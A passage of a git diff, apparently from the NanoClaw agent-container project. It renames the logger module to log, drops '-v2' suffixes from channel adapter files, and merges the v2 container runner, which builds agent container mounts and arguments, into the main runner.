'../src/logger.js'; +import { log } from '../src/log.js'; import { isRoot } from './platform.js'; import { emitStatus } from './status.js'; @@ -32,7 +32,7 @@ export async function run(args: string[]): Promise { const configFile = path.join(configDir, 'mount-allowlist.json'); if (isRoot()) { - logger.warn( + log.warn( 'Running as root — mount allowlist will be written to root home directory', ); } @@ -40,9 +40,9 @@ export async function run(args: string[]): Promise { fs.mkdirSync(configDir, { recursive: true }); if (fs.existsSync(configFile) && !force) { - logger.info( - { configFile }, + log.info( 'Mount allowlist already exists — skipping (use --force to overwrite)', + { configFile }, ); emitStatus('CONFIGURE_MOUNTS', { PATH: configFile, @@ -58,7 +58,7 @@ export async function run(args: string[]): Promise { let nonMainReadOnly = 'true'; if (empty) { - logger.info('Writing empty mount allowlist'); + log.info('Writing empty mount allowlist'); const emptyConfig = { allowedRoots: [], blockedPatterns: [], @@ -71,7 +71,7 @@ export async function run(args: string[]): Promise { try { parsed = JSON.parse(json); } catch { - logger.error('Invalid JSON input'); + log.error('Invalid JSON input'); emitStatus('CONFIGURE_MOUNTS', { PATH: configFile, ALLOWED_ROOTS: 0, @@ -91,13 +91,13 @@ export async function run(args: string[]): Promise { nonMainReadOnly = parsed.nonMainReadOnly === false ? 'false' : 'true'; } else { // Read from stdin - logger.info('Reading mount allowlist from stdin'); + log.info('Reading mount allowlist from stdin'); const input = fs.readFileSync(0, 'utf-8'); let parsed: { allowedRoots?: unknown[]; nonMainReadOnly?: boolean }; try { parsed = JSON.parse(input); } catch { - logger.error('Invalid JSON from stdin'); + log.error('Invalid JSON from stdin'); emitStatus('CONFIGURE_MOUNTS', { PATH: configFile, ALLOWED_ROOTS: 0, @@ -117,9 +117,9 @@ export async function run(args: string[]): Promise { nonMainReadOnly = parsed.nonMainReadOnly === false ? 'false' : 'true'; } - logger.info( - { configFile, allowedRoots, nonMainReadOnly }, + log.info( 'Allowlist configured', + { configFile, allowedRoots, nonMainReadOnly }, ); emitStatus('CONFIGURE_MOUNTS', { diff --git a/setup/register.ts b/setup/register.ts index c08d910..ee7854e 100644 --- a/setup/register.ts +++ b/setup/register.ts @@ -8,9 +8,9 @@ import fs from 'fs'; import path from 'path'; import { STORE_DIR } from '../src/config.ts'; -import { initDatabase, setRegisteredGroup } from '../src/db.ts'; +import { initDatabase, setRegisteredGroup } from '../src/v1/db.ts'; import { isValidGroupFolder } from '../src/group-folder.ts'; -import { logger } from '../src/logger.ts'; +import { log } from '../src/log.js'; import { emitStatus } from './status.ts'; interface RegisterArgs { @@ -90,7 +90,7 @@ export async function run(args: string[]): Promise { process.exit(4); } - logger.info(parsed, 'Registering channel'); + log.info('Registering channel', parsed); // Ensure data and store directories exist (store/ may not exist on // fresh installs that skip WhatsApp auth, which normally creates it) @@ -109,7 +109,7 @@ export async function run(args: string[]): Promise { isMain: parsed.isMain, }); - logger.info('Wrote registration to SQLite'); + log.info('Wrote registration to SQLite'); // Create group folders fs.mkdirSync(path.join(projectRoot, 'groups', parsed.folder, 'logs'), { @@ -133,9 +133,9 @@ export async function run(args: string[]): Promise { : path.join(projectRoot, 'groups', 'global', 'CLAUDE.md'); if (fs.existsSync(templatePath)) { fs.copyFileSync(templatePath, groupClaudeMdPath); - logger.info( - { file: groupClaudeMdPath, template: templatePath }, + log.info( 'Created CLAUDE.md from template', + { file: groupClaudeMdPath, template: templatePath }, ); } } @@ -143,9 +143,9 @@ export async function run(args: string[]): Promise { // Update assistant name in CLAUDE.md files if different from default let nameUpdated = false; if (parsed.assistantName !== 'Andy') { - logger.info( - { from: 'Andy', to: parsed.assistantName }, + log.info( 'Updating assistant name', + { from: 'Andy', to: parsed.assistantName }, ); const groupsDir = path.join(projectRoot, 'groups'); @@ -163,7 +163,7 @@ export async function run(args: string[]): Promise { `You are ${parsed.assistantName}`, ); fs.writeFileSync(mdFile, content); - logger.info({ file: mdFile }, 'Updated CLAUDE.md'); + log.info('Updated CLAUDE.md', { file: mdFile }); } } @@ -183,7 +183,7 @@ export async function run(args: string[]): Promise { } else { fs.writeFileSync(envFile, `ASSISTANT_NAME="${parsed.assistantName}"\n`); } - logger.info('Set ASSISTANT_NAME in .env'); + log.info('Set ASSISTANT_NAME in .env'); nameUpdated = true; } diff --git a/setup/service.ts b/setup/service.ts index c385267..9fd14d2 100644 --- a/setup/service.ts +++ b/setup/service.ts @@ -9,7 +9,7 @@ import fs from 'fs'; import os from 'os'; import path from 'path'; -import { logger } from '../src/logger.js'; +import { log } from '../src/log.js'; import { getPlatform, getNodePath, @@ -26,18 +26,18 @@ export async function run(_args: string[]): Promise { const nodePath = getNodePath(); const homeDir = os.homedir(); - logger.info({ platform, nodePath, projectRoot }, 'Setting up service'); + log.info('Setting up service', { platform, nodePath, projectRoot }); // Build first - logger.info('Building TypeScript'); + log.info('Building TypeScript'); try { execSync('npm run build', { cwd: projectRoot, stdio: ['ignore', 'pipe', 'pipe'], }); - logger.info('Build succeeded'); + log.info('Build succeeded'); } catch { - logger.error('Build failed'); + log.error('Build failed'); emitStatus('SETUP_SERVICE', { SERVICE_TYPE: 'unknown', NODE_PATH: nodePath, @@ -113,15 +113,15 @@ function setupLaunchd( `; fs.writeFileSync(plistPath, plist); - logger.info({ plistPath }, 'Wrote launchd plist'); + log.info('Wrote launchd plist', { plistPath }); try { execSync(`launchctl load ${JSON.stringify(plistPath)}`, { stdio: 'ignore', }); - logger.info('launchctl load succeeded'); + log.info('launchctl load succeeded'); } catch { - logger.warn('launchctl load failed (may already be loaded)'); + log.warn('launchctl load failed (may already be loaded)'); } // Verify @@ -168,7 +168,7 @@ function killOrphanedProcesses(projectRoot: string): void { execSync(`pkill -f '${projectRoot}/dist/index\\.js' || true`, { stdio: 'ignore', }); - logger.info('Stopped any orphaned nanoclaw processes'); + log.info('Stopped any orphaned nanoclaw processes'); } catch { // pkill not available or no orphans } @@ -215,13 +215,13 @@ function setupSystemd( if (runningAsRoot) { unitPath = '/etc/systemd/system/nanoclaw.service'; systemctlPrefix = 'systemctl'; - logger.info('Running as root — installing system-level systemd unit'); + log.info('Running as root — installing system-level systemd unit'); } else { // Check if user-level systemd session is available try { execSync('systemctl --user daemon-reload', { stdio: 'pipe' }); } catch { - logger.warn( + log.warn( 'systemd user session not available — falling back to nohup wrapper', ); setupNohupFallback(projectRoot, nodePath, homeDir); @@ -253,12 +253,12 @@ StandardError=append:${projectRoot}/logs/nanoclaw.error.log WantedBy=${runningAsRoot ? 'multi-user.target' : 'default.target'}`; fs.writeFileSync(unitPath, unit); - logger.info({ unitPath }, 'Wrote systemd unit'); + log.info('Wrote systemd unit', { unitPath }); // Detect stale docker group before starting (user systemd only) const dockerGroupStale = !runningAsRoot && checkDockerGroupStale(); if (dockerGroupStale) { - logger.warn( + log.warn( 'Docker group not active in systemd session — user was likely added to docker group mid-session', ); } @@ -271,11 +271,11 @@ WantedBy=${runningAsRoot ? 'multi-user.target' : 'default.target'}`; if (!runningAsRoot) { try { execSync('loginctl enable-linger', { stdio: 'ignore' }); - logger.info('Enabled loginctl linger for current user'); + log.info('Enabled loginctl linger for current user'); } catch (err) { - logger.warn( - { err }, + log.warn( 'loginctl enable-linger failed — service may stop on SSH logout', + { err }, ); } } @@ -284,19 +284,19 @@ WantedBy=${runningAsRoot ? 'multi-user.target' : 'default.target'}`; try { execSync(`${systemctlPrefix} daemon-reload`, { stdio: 'ignore' }); } catch (err) { - logger.error({ err }, 'systemctl daemon-reload failed'); + log.error('systemctl daemon-reload failed', { err }); } try { execSync(`${systemctlPrefix} enable nanoclaw`, { stdio: 'ignore' }); } catch (err) { - logger.error({ err }, 'systemctl enable failed'); + log.error('systemctl enable failed', { err }); } try { execSync(`${systemctlPrefix} start nanoclaw`, { stdio: 'ignore' }); } catch (err) { - logger.error({ err }, 'systemctl start failed'); + log.error('systemctl start failed', { err }); } // Verify @@ -326,7 +326,7 @@ function setupNohupFallback( nodePath: string, homeDir: string, ): void { - logger.warn('No systemd detected — generating nohup wrapper script'); + log.warn('No systemd detected — generating nohup wrapper script'); const wrapperPath = path.join(projectRoot, 'start-nanoclaw.sh'); const pidFile = path.join(projectRoot, 'nanoclaw.pid'); @@ -362,7 +362,7 @@ function setupNohupFallback( const wrapper = lines.join('\n') + '\n'; fs.writeFileSync(wrapperPath, wrapper, { mode: 0o755 }); - logger.info({ wrapperPath }, 'Wrote nohup wrapper script'); + log.info('Wrote nohup wrapper script', { wrapperPath }); emitStatus('SETUP_SERVICE', { SERVICE_TYPE: 'nohup', diff --git a/setup/timezone.ts b/setup/timezone.ts index 22c0394..18b1443 100644 --- a/setup/timezone.ts +++ b/setup/timezone.ts @@ -7,7 +7,7 @@ import fs from 'fs'; import path from 'path'; import { isValidTimezone } from '../src/timezone.js'; -import { logger } from '../src/logger.js'; +import { log } from '../src/log.js'; import { emitStatus } from './status.js'; export async function run(args: string[]): Promise { @@ -53,7 +53,7 @@ export async function run(args: string[]): Promise { } else { fs.writeFileSync(envFile, `TZ=${resolvedTz}\n`); } - logger.info({ timezone: resolvedTz }, 'Set TZ in .env'); + log.info('Set TZ in .env', { timezone: resolvedTz }); } emitStatus('TIMEZONE', { diff --git a/setup/verify.ts b/setup/verify.ts index e039e52..6b2077a 100644 --- a/setup/verify.ts +++ b/setup/verify.ts @@ -13,7 +13,7 @@ import Database from 'better-sqlite3'; import { STORE_DIR } from '../src/config.js'; import { readEnvFile } from '../src/env.js'; -import { logger } from '../src/logger.js'; +import { log } from '../src/log.js'; import { getPlatform, getServiceManager, @@ -27,7 +27,7 @@ export async function run(_args: string[]): Promise { const platform = getPlatform(); const homeDir = os.homedir(); - logger.info('Starting verification'); + log.info('Starting verification'); // 1. Check service status let service = 'not_found'; @@ -80,7 +80,7 @@ export async function run(_args: string[]): Promise { } } } - logger.info({ service }, 'Service status'); + log.info('Service status', { service }); // 2. Check container runtime let containerRuntime = 'none'; @@ -174,7 +174,7 @@ export async function run(_args: string[]): Promise { ? 'success' : 'failed'; - logger.info({ status, channelAuth }, 'Verification complete'); + log.info('Verification complete', { status, channelAuth }); emitStatus('VERIFY', { SERVICE: service, diff --git a/src/channels/channel-registry.test.ts b/src/channels/channel-registry.test.ts index 1903791..d5d0fa0 100644 --- a/src/channels/channel-registry.test.ts +++ b/src/channels/channel-registry.test.ts @@ -8,7 +8,7 @@ import fs from 'fs'; import type { ChannelAdapter, ChannelSetup, InboundMessage, OutboundMessage } from './adapter.js'; // Mock container runner -vi.mock('../container-runner-v2.js', () => ({ +vi.mock('../container-runner.js', () => ({ wakeContainer: vi.fn().mockResolvedValue(undefined), resetContainerIdleTimer: vi.fn(), isContainerRunning: vi.fn().mockReturnValue(false), @@ -160,7 +160,7 @@ describe('channel + router integration', () => { }); it('should route inbound message from adapter to session DB', async () => { - const { routeInbound } = await import('../router-v2.js'); + const { routeInbound } = await import('../router.js'); const { findSession } = await import('../db/sessions.js'); const { sessionDbPath } = await import('../session-manager.js'); @@ -209,7 +209,7 @@ describe('channel + router integration', () => { onAction: () => {}, })); - // Set up delivery adapter bridge (same pattern as index-v2.ts) + // Set up delivery adapter bridge (same pattern as index.ts) setDeliveryAdapter({ async deliver(channelType, platformId, threadId, kind, content) { const adapter = getChannelAdapter(channelType); diff --git a/src/channels/discord-v2.ts b/src/channels/discord.ts similarity index 100% rename from src/channels/discord-v2.ts rename to src/channels/discord.ts diff --git a/src/channels/gchat-v2.ts b/src/channels/gchat.ts similarity index 100% rename from src/channels/gchat-v2.ts rename to src/channels/gchat.ts diff --git a/src/channels/github-v2.ts b/src/channels/github.ts similarity index 100% rename from src/channels/github-v2.ts rename to src/channels/github.ts diff --git a/src/channels/imessage-v2.ts b/src/channels/imessage.ts similarity index 90% rename from src/channels/imessage-v2.ts rename to src/channels/imessage.ts index a31a76d..8ab4215 100644 --- a/src/channels/imessage-v2.ts +++ b/src/channels/imessage.ts @@ -20,6 +20,6 @@ registerChannelAdapter('imessage', { serverUrl: env.IMESSAGE_SERVER_URL, apiKey: env.IMESSAGE_API_KEY, }); - return createChatSdkBridge({ adapter: imessageAdapter, concurrency: 'concurrent' }); + return createChatSdkBridge({ adapter: imessageAdapter as never, concurrency: 'concurrent' }); }, }); diff --git a/src/channels/index.ts b/src/channels/index.ts index bad8090..4b3b125 100644 --- a/src/channels/index.ts +++ b/src/channels/index.ts @@ -2,40 +2,40 @@ // Each import triggers the channel module's registerChannelAdapter() call. // discord -// import './discord-v2.js'; +// import './discord.js'; // slack -// import './slack-v2.js'; +// import './slack.js'; // telegram -// import './telegram-v2.js'; +// import './telegram.js'; // github -// import './github-v2.js'; +// import './github.js'; // linear -// import './linear-v2.js'; +// import './linear.js'; // google chat -// import './gchat-v2.js'; +// import './gchat.js'; // microsoft teams -// import './teams-v2.js'; +// import './teams.js'; // whatsapp cloud api -// import './whatsapp-cloud-v2.js'; +// import './whatsapp-cloud.js'; // resend (email) -// import './resend-v2.js'; +// import './resend.js'; // matrix -// import './matrix-v2.js'; +// import './matrix.js'; // webex -// import './webex-v2.js'; +// import './webex.js'; // imessage -// import './imessage-v2.js'; +// import './imessage.js'; // gmail (native, no Chat SDK) diff --git a/src/channels/linear-v2.ts b/src/channels/linear.ts similarity index 100% rename from src/channels/linear-v2.ts rename to src/channels/linear.ts diff --git a/src/channels/matrix-v2.ts b/src/channels/matrix.ts similarity index 100% rename from src/channels/matrix-v2.ts rename to src/channels/matrix.ts diff --git a/src/channels/resend-v2.ts b/src/channels/resend.ts similarity index 100% rename from src/channels/resend-v2.ts rename to src/channels/resend.ts diff --git a/src/channels/slack-v2.ts b/src/channels/slack.ts similarity index 100% rename from src/channels/slack-v2.ts rename to src/channels/slack.ts diff --git a/src/channels/teams-v2.ts b/src/channels/teams.ts similarity index 100% rename from src/channels/teams-v2.ts rename to src/channels/teams.ts diff --git a/src/channels/telegram-v2.ts b/src/channels/telegram.ts similarity index 100% rename from src/channels/telegram-v2.ts rename to src/channels/telegram.ts diff --git a/src/channels/webex-v2.ts b/src/channels/webex.ts similarity index 100% rename from src/channels/webex-v2.ts rename to src/channels/webex.ts diff --git a/src/channels/whatsapp-cloud-v2.ts b/src/channels/whatsapp-cloud.ts similarity index 84% rename from src/channels/whatsapp-cloud-v2.ts rename to src/channels/whatsapp-cloud.ts index 74b8160..e56eb99 100644 --- a/src/channels/whatsapp-cloud-v2.ts +++ b/src/channels/whatsapp-cloud.ts @@ -11,7 +11,12 @@ import { registerChannelAdapter } from './channel-registry.js'; registerChannelAdapter('whatsapp-cloud', { factory: () => { - const env = readEnvFile(['WHATSAPP_ACCESS_TOKEN', 'WHATSAPP_PHONE_NUMBER_ID', 'WHATSAPP_APP_SECRET', 'WHATSAPP_VERIFY_TOKEN']); + const env = readEnvFile([ + 'WHATSAPP_ACCESS_TOKEN', + 'WHATSAPP_PHONE_NUMBER_ID', + 'WHATSAPP_APP_SECRET', + 'WHATSAPP_VERIFY_TOKEN', + ]); if (!env.WHATSAPP_ACCESS_TOKEN) return null; const whatsappAdapter = createWhatsAppAdapter({ accessToken: env.WHATSAPP_ACCESS_TOKEN, diff --git a/src/container-runner-v2.ts b/src/container-runner-v2.ts deleted file mode 100644 index 81bbd50..0000000 --- a/src/container-runner-v2.ts +++ /dev/null @@ -1,277 +0,0 @@ -/** - * Container Runner v2 - * Spawns agent containers with session folder + agent group folder mounts. - * The container runs the v2 agent-runner which polls the session DB. - */ -import { ChildProcess, spawn } from 'child_process'; -import fs from 'fs'; -import path from 'path'; - -import { OneCLI } from '@onecli-sh/sdk'; - -import { CONTAINER_IMAGE, DATA_DIR, GROUPS_DIR, IDLE_TIMEOUT, ONECLI_URL, TIMEZONE } from './config.js'; -import { CONTAINER_RUNTIME_BIN, hostGatewayArgs, readonlyMountArgs, stopContainer } from './container-runtime.js'; -import { getAgentGroup } from './db/agent-groups.js'; -import { getMessagingGroup } from './db/messaging-groups.js'; -import { log } from './log.js'; -import { validateAdditionalMounts } from './mount-security.js'; -import { - markContainerIdle, - markContainerRunning, - markContainerStopped, - sessionDbPath, - sessionDir, -} from './session-manager.js'; -import type { AgentGroup, Session } from './types-v2.js'; - -const onecli = new OneCLI({ url: ONECLI_URL }); - -interface VolumeMount { - hostPath: string; - containerPath: string; - readonly: boolean; -} - -/** Active containers tracked by session ID. */ -const activeContainers = new Map(); - -export function getActiveContainerCount(): number { - return activeContainers.size; -} - -export function isContainerRunning(sessionId: string): boolean { - return activeContainers.has(sessionId); -} - -/** - * Wake up a container for a session. If already running, no-op. - * The container runs the v2 agent-runner which polls the session DB. - */ -export async function wakeContainer(session: Session): Promise { - if (activeContainers.has(session.id)) { - log.debug('Container already running', { sessionId: session.id }); - return; - } - - const agentGroup = getAgentGroup(session.agent_group_id); - if (!agentGroup) { - log.error('Agent group not found', { agentGroupId: session.agent_group_id }); - return; - } - - const mounts = buildMounts(agentGroup, session); - const containerName = `nanoclaw-v2-${agentGroup.folder}-${Date.now()}`; - const agentIdentifier = agentGroup.is_admin ? undefined : agentGroup.folder.toLowerCase().replace(/_/g, '-'); - const args = await buildContainerArgs(mounts, containerName, session, agentGroup, agentIdentifier); - - log.info('Spawning container', { sessionId: session.id, agentGroup: agentGroup.name, containerName }); - - const container = spawn(CONTAINER_RUNTIME_BIN, args, { stdio: ['ignore', 'pipe', 'pipe'] }); - - activeContainers.set(session.id, { process: container, containerName }); - markContainerRunning(session.id); - - // Log stderr - container.stderr?.on('data', (data) => { - for (const line of data.toString().trim().split('\n')) { - if (line) log.debug(line, { container: agentGroup.folder }); - } - }); - - // stdout is unused in v2 (all IO is via session DB) - container.stdout?.on('data', () => {}); - - // Idle timeout: kill container after IDLE_TIMEOUT of no activity - let idleTimer = setTimeout(() => killContainer(session.id, 'idle timeout'), IDLE_TIMEOUT); - - const resetIdle = () => { - clearTimeout(idleTimer); - idleTimer = setTimeout(() => killContainer(session.id, 'idle timeout'), IDLE_TIMEOUT); - }; - - // Reset idle timer when the host detects new messages_out (called by delivery.ts) - const entry = activeContainers.get(session.id); - if (entry) { - (entry as { resetIdle?: () => void }).resetIdle = resetIdle; - } - - container.on('close', (code) => { - clearTimeout(idleTimer); - activeContainers.delete(session.id); - markContainerStopped(session.id); - log.info('Container exited', { sessionId: session.id, code, containerName }); - }); - - container.on('error', (err) => { - clearTimeout(idleTimer); - activeContainers.delete(session.id); - markContainerStopped(session.id); - log.error('Container spawn error', { sessionId: session.id, err }); - }); -} - -/** Reset the idle timer for a session's container (called when messages_out are delivered). */ -export function resetContainerIdleTimer(sessionId: string): void { - const entry = activeContainers.get(sessionId) as { resetIdle?: () => void } | undefined; - entry?.resetIdle?.(); -} - -/** Kill a container for a session. */ -export function killContainer(sessionId: string, reason: string): void { - const entry = activeContainers.get(sessionId); - if (!entry) return; - - log.info('Killing container', { sessionId, reason, containerName: entry.containerName }); - try { - stopContainer(entry.containerName); - } catch { - entry.process.kill('SIGKILL'); - } -} - -function buildMounts(agentGroup: AgentGroup, session: Session): VolumeMount[] { - const mounts: VolumeMount[] = []; - const projectRoot = process.cwd(); - const sessDir = sessionDir(agentGroup.id, session.id); - const groupDir = path.resolve(GROUPS_DIR, agentGroup.folder); - - // Session folder at /workspace (contains session.db, outbox/, .claude/) - mounts.push({ hostPath: sessDir, containerPath: '/workspace', readonly: false }); - - // Agent group folder at /workspace/agent - fs.mkdirSync(groupDir, { recursive: true }); - mounts.push({ hostPath: groupDir, containerPath: '/workspace/agent', readonly: false }); - - // Global memory directory - const globalDir = path.join(GROUPS_DIR, 'global'); - if (fs.existsSync(globalDir)) { - mounts.push({ hostPath: globalDir, containerPath: '/workspace/global', readonly: !agentGroup.is_admin }); - } - - // Claude sessions directory (per agent group, shared across sessions) - const claudeDir = path.join(DATA_DIR, 'v2-sessions', agentGroup.id, '.claude-shared'); - fs.mkdirSync(claudeDir, { recursive: true }); - const settingsFile = path.join(claudeDir, 'settings.json'); - if (!fs.existsSync(settingsFile)) { - fs.writeFileSync( - settingsFile, - JSON.stringify( - { - env: { - CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: '1', - CLAUDE_CODE_ADDITIONAL_DIRECTORIES_CLAUDE_MD: '1', - CLAUDE_CODE_DISABLE_AUTO_MEMORY: '0', - }, - }, - null, - 2, - ) + '\n', - ); - } - - // Sync container skills - const skillsSrc = path.join(projectRoot, 'container', 'skills'); - const skillsDst = path.join(claudeDir, 'skills'); - if (fs.existsSync(skillsSrc)) { - for (const skillDir of fs.readdirSync(skillsSrc)) { - const srcDir = path.join(skillsSrc, skillDir); - if (fs.statSync(srcDir).isDirectory()) { - fs.cpSync(srcDir, path.join(skillsDst, skillDir), { recursive: true }); - } - } - } - mounts.push({ hostPath: claudeDir, containerPath: '/home/node/.claude', readonly: false }); - - // Agent-runner source (per agent group, recompiled on container startup) - const agentRunnerSrc = path.join(projectRoot, 'container', 'agent-runner', 'src'); - const groupRunnerDir = path.join(DATA_DIR, 'v2-sessions', agentGroup.id, 'agent-runner-src'); - if (fs.existsSync(agentRunnerSrc)) { - // Always copy — source files may have changed beyond just the index - fs.cpSync(agentRunnerSrc, groupRunnerDir, { recursive: true }); - } - mounts.push({ hostPath: groupRunnerDir, containerPath: '/app/src', readonly: false }); - - // Admin: mount project root read-only - if (agentGroup.is_admin) { - mounts.push({ hostPath: projectRoot, containerPath: '/workspace/project', readonly: true }); - const envFile = path.join(projectRoot, '.env'); - if (fs.existsSync(envFile)) { - mounts.push({ hostPath: '/dev/null', containerPath: '/workspace/project/.env', readonly: true }); - } - } - - // Additional mounts from container config - const containerConfig = agentGroup.container_config ? JSON.parse(agentGroup.container_config) : {}; - if (containerConfig.additionalMounts) { - const validated = validateAdditionalMounts( - containerConfig.additionalMounts, - agentGroup.name, - !!agentGroup.is_admin, - ); - mounts.push(...validated); - } - - return mounts; -} - -async function buildContainerArgs( - mounts: VolumeMount[], - containerName: string, - session: Session, - agentGroup: AgentGroup, - agentIdentifier?: string, -): Promise { - const args: string[] = ['run', '--rm', '--name', containerName]; - - // Environment - args.push('-e', `TZ=${TIMEZONE}`); - args.push('-e', `AGENT_PROVIDER=${session.agent_provider || agentGroup.agent_provider || 'claude'}`); - args.push('-e', `SESSION_DB_PATH=/workspace/session.db`); - - // Pass admin user ID and assistant name from messaging group/agent group - if (session.messaging_group_id) { - const mg = getMessagingGroup(session.messaging_group_id); - if (mg?.admin_user_id) { - args.push('-e', `NANOCLAW_ADMIN_USER_ID=${mg.admin_user_id}`); - } - } - if (agentGroup.name) { - args.push('-e', `NANOCLAW_ASSISTANT_NAME=${agentGroup.name}`); - } - - // OneCLI gateway - const onecliApplied = await onecli.applyContainerConfig(args, { addHostMapping: false, agent: agentIdentifier }); - if (onecliApplied) { - log.debug('OneCLI gateway applied', { containerName }); - } - - // Host gateway - args.push(...hostGatewayArgs()); - - // User mapping - const hostUid = process.getuid?.(); - const hostGid = process.getgid?.(); - if (hostUid != null && hostUid !== 0 && hostUid !== 1000) { - args.push('--user', `${hostUid}:${hostGid}`); - args.push('-e', 'HOME=/home/node'); - } - - // Volume mounts - for (const mount of mounts) { - if (mount.readonly) { - args.push(...readonlyMountArgs(mount.hostPath, mount.containerPath)); - } else { - args.push('-v', `${mount.hostPath}:${mount.containerPath}`); - } - } - - // Override entrypoint: compile agent-runner source, run v2 entry point (no stdin) - args.push('--entrypoint', 'bash'); - args.push(CONTAINER_IMAGE); - args.push( - '-c', - 'cd /app && npx tsc --outDir /tmp/dist 2>&1 >&2 && ln -sf /app/node_modules /tmp/dist/node_modules && node /tmp/dist/index-v2.js', - ); - - return args; -} diff --git a/src/container-runner.ts b/src/container-runner.ts index b04cc28..cdbfadc 100644 --- a/src/container-runner.ts +++ b/src/container-runner.ts @@ -1,150 +1,165 @@ /** - * Container Runner for NanoClaw - * Spawns agent execution in containers and handles IPC + * Container Runner v2 + * Spawns agent containers with session folder + agent group folder mounts. + * The container runs the v2 agent-runner which polls the session DB. */ import { ChildProcess, spawn } from 'child_process'; import fs from 'fs'; import path from 'path'; -import { - CONTAINER_IMAGE, - CONTAINER_MAX_OUTPUT_SIZE, - CONTAINER_TIMEOUT, - DATA_DIR, - GROUPS_DIR, - IDLE_TIMEOUT, - ONECLI_URL, - TIMEZONE, -} from './config.js'; -import { resolveGroupFolderPath, resolveGroupIpcPath } from './group-folder.js'; -import { logger } from './logger.js'; -import { CONTAINER_RUNTIME_BIN, hostGatewayArgs, readonlyMountArgs, stopContainer } from './container-runtime.js'; import { OneCLI } from '@onecli-sh/sdk'; + +import { CONTAINER_IMAGE, DATA_DIR, GROUPS_DIR, IDLE_TIMEOUT, ONECLI_URL, TIMEZONE } from './config.js'; +import { CONTAINER_RUNTIME_BIN, hostGatewayArgs, readonlyMountArgs, stopContainer } from './container-runtime.js'; +import { getAgentGroup } from './db/agent-groups.js'; +import { getMessagingGroup } from './db/messaging-groups.js'; +import { log } from './log.js'; import { validateAdditionalMounts } from './mount-security.js'; -import { RegisteredGroup } from './types.js'; +import { + markContainerIdle, + markContainerRunning, + markContainerStopped, + sessionDbPath, + sessionDir, +} from './session-manager.js'; +import type { AgentGroup, Session } from './types.js'; const onecli = new OneCLI({ url: ONECLI_URL }); -// Sentinel markers for robust output parsing (must match agent-runner) -const OUTPUT_START_MARKER = '---NANOCLAW_OUTPUT_START---'; -const OUTPUT_END_MARKER = '---NANOCLAW_OUTPUT_END---'; - -export interface ContainerInput { - prompt: string; - sessionId?: string; - groupFolder: string; - chatJid: string; - isMain: boolean; - isScheduledTask?: boolean; - assistantName?: string; - script?: string; -} - -export interface ContainerOutput { - status: 'success' | 'error'; - result: string | null; - newSessionId?: string; - error?: string; -} - interface VolumeMount { hostPath: string; containerPath: string; readonly: boolean; } -function buildVolumeMounts(group: RegisteredGroup, isMain: boolean): VolumeMount[] { - const mounts: VolumeMount[] = []; - const projectRoot = process.cwd(); - const groupDir = resolveGroupFolderPath(group.folder); +/** Active containers tracked by session ID. */ +const activeContainers = new Map(); - if (isMain) { - // Main gets the project root read-only. Writable paths the agent needs - // (store, group folder, IPC, .claude/) are mounted separately below. - // Read-only prevents the agent from modifying host application code - // (src/, dist/, package.json, etc.) which would bypass the sandbox - // entirely on next restart. - mounts.push({ - hostPath: projectRoot, - containerPath: '/workspace/project', - readonly: true, - }); +export function getActiveContainerCount(): number { + return activeContainers.size; +} - // Shadow .env so the agent cannot read secrets from the mounted project root. - // Credentials are injected by the OneCLI gateway, never exposed to containers. - const envFile = path.join(projectRoot, '.env'); - if (fs.existsSync(envFile)) { - mounts.push({ - hostPath: '/dev/null', - containerPath: '/workspace/project/.env', - readonly: true, - }); - } +export function isContainerRunning(sessionId: string): boolean { + return activeContainers.has(sessionId); +} - // Main gets writable access to the store (SQLite DB) so it can - // query and write to the database directly. - const storeDir = path.join(projectRoot, 'store'); - mounts.push({ - hostPath: storeDir, - containerPath: '/workspace/project/store', - readonly: false, - }); - - // Main also gets its group folder as the working directory - mounts.push({ - hostPath: groupDir, - containerPath: '/workspace/group', - readonly: false, - }); - - // Global memory directory — writable for main so it can update shared context - const globalDir = path.join(GROUPS_DIR, 'global'); - if (fs.existsSync(globalDir)) { - mounts.push({ - hostPath: globalDir, - containerPath: '/workspace/global', - readonly: false, - }); - } - } else { - // Other groups only get their own folder - mounts.push({ - hostPath: groupDir, - containerPath: '/workspace/group', - readonly: false, - }); - - // Global memory directory (read-only for non-main) - // Only directory mounts are supported, not file mounts - const globalDir = path.join(GROUPS_DIR, 'global'); - if (fs.existsSync(globalDir)) { - mounts.push({ - hostPath: globalDir, - containerPath: '/workspace/global', - readonly: true, - }); - } +/** + * Wake up a container for a session. If already running, no-op. + * The container runs the v2 agent-runner which polls the session DB. + */ +export async function wakeContainer(session: Session): Promise { + if (activeContainers.has(session.id)) { + log.debug('Container already running', { sessionId: session.id }); + return; } - // Per-group Claude sessions directory (isolated from other groups) - // Each group gets their own .claude/ to prevent cross-group session access - const groupSessionsDir = path.join(DATA_DIR, 'sessions', group.folder, '.claude'); - fs.mkdirSync(groupSessionsDir, { recursive: true }); - const settingsFile = path.join(groupSessionsDir, 'settings.json'); + const agentGroup = getAgentGroup(session.agent_group_id); + if (!agentGroup) { + log.error('Agent group not found', { agentGroupId: session.agent_group_id }); + return; + } + + const mounts = buildMounts(agentGroup, session); + const containerName = `nanoclaw-v2-${agentGroup.folder}-${Date.now()}`; + const agentIdentifier = agentGroup.is_admin ? undefined : agentGroup.folder.toLowerCase().replace(/_/g, '-'); + const args = await buildContainerArgs(mounts, containerName, session, agentGroup, agentIdentifier); + + log.info('Spawning container', { sessionId: session.id, agentGroup: agentGroup.name, containerName }); + + const container = spawn(CONTAINER_RUNTIME_BIN, args, { stdio: ['ignore', 'pipe', 'pipe'] }); + + activeContainers.set(session.id, { process: container, containerName }); + markContainerRunning(session.id); + + // Log stderr + container.stderr?.on('data', (data) => { + for (const line of data.toString().trim().split('\n')) { + if (line) log.debug(line, { container: agentGroup.folder }); + } + }); + + // stdout is unused in v2 (all IO is via session DB) + container.stdout?.on('data', () => {}); + + // Idle timeout: kill container after IDLE_TIMEOUT of no activity + let idleTimer = setTimeout(() => killContainer(session.id, 'idle timeout'), IDLE_TIMEOUT); + + const resetIdle = () => { + clearTimeout(idleTimer); + idleTimer = setTimeout(() => killContainer(session.id, 'idle timeout'), IDLE_TIMEOUT); + }; + + // Reset idle timer when the host detects new messages_out (called by delivery.ts) + const entry = activeContainers.get(session.id); + if (entry) { + (entry as { resetIdle?: () => void }).resetIdle = resetIdle; + } + + container.on('close', (code) => { + clearTimeout(idleTimer); + activeContainers.delete(session.id); + markContainerStopped(session.id); + log.info('Container exited', { sessionId: session.id, code, containerName }); + }); + + container.on('error', (err) => { + clearTimeout(idleTimer); + activeContainers.delete(session.id); + markContainerStopped(session.id); + log.error('Container spawn error', { sessionId: 